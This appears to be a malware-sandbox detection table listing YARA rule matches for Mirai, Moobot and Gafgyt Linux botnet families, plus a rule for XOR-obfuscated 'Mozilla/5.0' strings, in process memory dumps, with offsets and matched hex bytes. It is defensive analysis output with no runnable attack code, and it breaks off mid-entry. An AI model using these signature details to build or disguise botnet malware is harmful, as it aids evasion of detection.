6480.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6480.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6285.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6285.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6285.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6285.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6285.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6285.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6736.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6983.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6895.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6895.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7251.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7251.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7251.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6912.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6912.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6912.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6375.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7417.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6988.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6988.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6988.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6988.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6988.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6988.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7421.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6983.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6983.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6639.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7251.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7251.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7251.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6991.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6991.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6991.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6991.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6991.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 